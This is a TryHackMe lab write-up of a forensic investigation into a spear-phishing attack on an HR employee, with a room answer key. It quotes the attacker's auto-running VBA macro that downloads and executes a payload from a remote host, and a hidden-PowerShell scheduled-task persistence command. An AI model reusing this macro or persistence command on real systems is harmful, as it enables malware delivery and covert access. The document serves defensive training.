Boogeyman 2 - TryHackMe Writeup

Advanced Spear Phishing & Memory Forensics

Memory Forensics Macro Analysis Process Investigation Network Analysis Persistence Analysis

Published: September 2025 • Estimated reading time: 20 minutes

Overview

Difficulty: Medium
Skills Practiced: Memory Forensics, Malicious Macro Analysis, Process Investigation, Network Traffic Analysis
Tools Used: Volatility 3, olevba, Evolution/Thunderbird
Time Investment: 1.5-2 hours

Career Relevance: Advanced SOC analyst skills focusing on sophisticated spear phishing attacks against HR departments. This room demonstrates comprehensive incident response capabilities including memory forensics, process tree analysis, and persistence mechanism identification - critical skills for senior security roles.

Learning Objectives

This room presents a sophisticated spear phishing attack targeting Quick Logistics LLC's Human Resources department. The scenario demonstrates advanced adversarial techniques including weaponized Office macros, multi-stage payload delivery, memory-resident operations, and persistence mechanisms. This investigation showcases essential skills for detecting and analyzing advanced persistent threats (APTs) in enterprise environments.

Task 1: Investigation Setup

Objective

Understand the attack scenario and prepare investigation environment

Scenario Analysis

The Boogeyman threat group has returned with improved tactics, targeting Maxine Beck, a Human Resource Specialist at Quick Logistics LLC. The attack vector is a weaponized resume document sent as part of a job application, demonstrating a sophisticated social engineering approach that leverages the target's professional responsibilities.

Available Artifacts

Phishing email with malicious Word document attachment
Memory dump (WKSTN-2961.raw) from the compromised workstation
Volatility 3 framework for memory forensics analysis
Olevba tool for macro analysis

Key Learning

Understanding the complete attack lifecycle from initial access through persistence is essential for comprehensive incident response and threat hunting operations.

Task 2: Comprehensive Spear Phishing Analysis

Objective

Analyze the spear phishing attack, extract the payload, and trace the complete attack progression through memory forensics

Phase 1: Email and Document Analysis

Analyzed the spear phishing email using Evolution mail client to identify the attack vector and extract the malicious attachment.

# Email Analysis Results
From: westaylor23@outlook.com
To: maxine.beck@quicklogisticsorg.onmicrosoft.com
Subject: Resume - Application for Junior IT Analyst Role
Attachment: Resume_WesleyTaylor.doc

# Hash verification
$ md5sum Resume_WesleyTaylor.doc
52c4384a0b9e248b95804352ebec6c5b  Resume_WesleyTaylor.doc
                

Phase 2: Malicious Macro Analysis

Used olevba to extract and analyze the VBA macro embedded in the weaponized document, revealing the multi-stage attack mechanism.

# VBA Macro Analysis
$ olevba Resume_WesleyTaylor.doc

Sub AutoOpen()
    spath = "C:\ProgramData\"
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    xHttp.Open "GET", "https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png", False
    xHttp.Send
    With bStrm
        .Type = 1
        .Open
        .write xHttp.responseBody
        .savetofile spath & "\update.js", 2
    End With
    
    Set shell_object = CreateObject("WScript.Shell")
    shell_object.Exec ("wscript.exe C:\ProgramData\update.js")
End Sub
                

Phase 3: Memory Forensics Investigation

Conducted comprehensive memory analysis using Volatility 3 to trace the attack progression and identify malicious processes.

1. System Profile Identification

$ vol -f WKSTN-2961.raw windows.info.Info

# System Details:
# OS: Windows 10 (64-bit)
# System Time: 2023-08-21 14:14:28
# Processors: 2
                        

2. Malicious Process Tree Analysis

$ vol -f WKSTN-2961.raw windows.pslist.PsList

# Attack Chain Identified:
WINWORD.EXE (PID 1124) → wscript.exe (PID 4260) → updater.exe (PID 6216)

# Process Details:
# - WINWORD.EXE: Victim opened malicious document
# - wscript.exe: Executed stage 2 payload (update.js) 
# - updater.exe: Final malicious binary with C2 capabilities
                        

This process tree clearly shows the attack progression from document execution to payload deployment.

3. Network Communication Analysis

$ vol -f WKSTN-2961.raw windows.netscan.NetScan

# C2 Connection Identified:
PID 6216 (updater.exe): 10.10.49.181:63350 → 128.199.95.189:8080
Status: CLOSED (captured after communication)
Timestamp: 2023-08-21 14:16:11
                        

The malware established communication with its C2 server shortly after execution.

4. Persistence Mechanism Discovery

# Advanced strings analysis revealed scheduled task creation:
$ strings WKSTN-2961.raw | grep -i 'schtasks'

# Persistence Command Identified:
schtasks /Create /F /SC DAILY /ST 09:00 /TN Updater /TR 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))\""'
                        

Sophisticated persistence using PowerShell and registry-stored Base64 encoded payload.

5. File System Artifacts

$ vol -f WKSTN-2961.raw windows.filescan.FileScan | grep '.doc'

# Original Email Attachment Location:
C:\Users\maxine.beck\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\WQHGZCFI\Resume_WesleyTaylor (002).doc

# Malicious Payload Locations:
# - C:\ProgramData\update.js (Stage 2 script)
# - C:\Windows\Tasks\updater.exe (Final payload)
                        

Task 2 Answers

What email was used to send the phishing email? westaylor23@outlook.com
What is the email of the victim employee? maxine.beck@quicklogisticsorg.onmicrosoft.com
What is the name of the attached malicious document? Resume_WesleyTaylor.doc
What is the MD5 hash of the malicious attachment? 52c4384a0b9e248b95804352ebec6c5b
What URL is used to download the stage 2 payload based on the document's macro? https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png
What is the name of the process that executed the newly downloaded stage 2 payload? wscript.exe
What is the full file path of the malicious stage 2 payload? C:\ProgramData\update.js
What is the PID of the process that executed the stage 2 payload? 4260
What is the parent PID of the process that executed the stage 2 payload? 1124
What URL is used to download the malicious binary executed by the stage 2 payload? https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.exe
What is the PID of the malicious process used to establish the C2 connection? 6216
What is the full file path of the malicious process used to establish the C2 connection? C:\Windows\Tasks\updater.exe
What is the IP address and port of the C2 connection initiated by the malicious binary? 128.199.95.189:8080
What is the full file path of the malicious email attachment based on the memory dump? C:\Users\maxine.beck\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\WQHGZCFI\Resume_WesleyTaylor (002).doc
The attacker implanted a scheduled task right after establishing the c2 callback. What is the full command used by the attacker to maintain persistent access? schtasks /Create /F /SC DAILY /ST 09:00 /TN Updater /TR 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))\""'

Key Learning

This investigation demonstrates the complete forensic analysis workflow from initial email investigation through advanced memory forensics, showcasing the complexity of modern spear phishing attacks and the comprehensive skills required for effective incident response.

Advanced Attack Analysis

Attack Progression Timeline

Initial Access: Spear phishing email with weaponized resume document targeting HR specialist
Execution: VBA macro auto-executes when document is opened, downloading stage 2 payload
Payload Deployment: JavaScript file executed via wscript.exe, downloading final malicious binary
Command & Control: updater.exe establishes C2 communication with external server
Persistence: Scheduled task created using PowerShell with registry-stored encoded payload

Advanced Techniques Observed

Social Engineering: Job application theme targeting HR department responsibilities
Multi-Stage Payload: Document → JavaScript → Final executable to evade detection
File Disguise: Payload downloaded as .png file but saved as .js script
Registry Persistence: Base64-encoded PowerShell payload stored in registry
Process Hollowing Indicators: Multiple file system locations for the same binary

Persistence Analysis Deep Dive

The discovered persistence mechanism demonstrates sophisticated adversarial techniques:

schtasks /Create /F /SC DAILY /ST 09:00 /TN Updater /TR 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))\""'
                

This command creates a daily scheduled task that executes a PowerShell command to retrieve, decode, and execute Base64-encoded data from the Windows registry - a fileless persistence technique that's difficult to detect with traditional antivirus solutions.

Key Tools & Career Application

Tools Demonstrated

Investigation: Volatility 3, olevba, Evolution/Thunderbird, strings
Techniques: Memory forensics, macro analysis, process tree investigation, network connection analysis, persistence mechanism identification

SOC Analyst Relevance

This scenario demonstrates advanced incident response capabilities including memory forensics, sophisticated malware analysis, and persistence mechanism identification - core skills for senior threat detection and response roles.

Memory Forensics: Volatility-based investigation for process analysis
Advanced Malware Analysis: Multi-stage payload investigation
Spear Phishing Analysis: HR-targeted social engineering detection

Persistence Analysis: Registry-based backdoor identification
Network Investigation: C2 communication pattern analysis
Incident Documentation: Comprehensive forensic reporting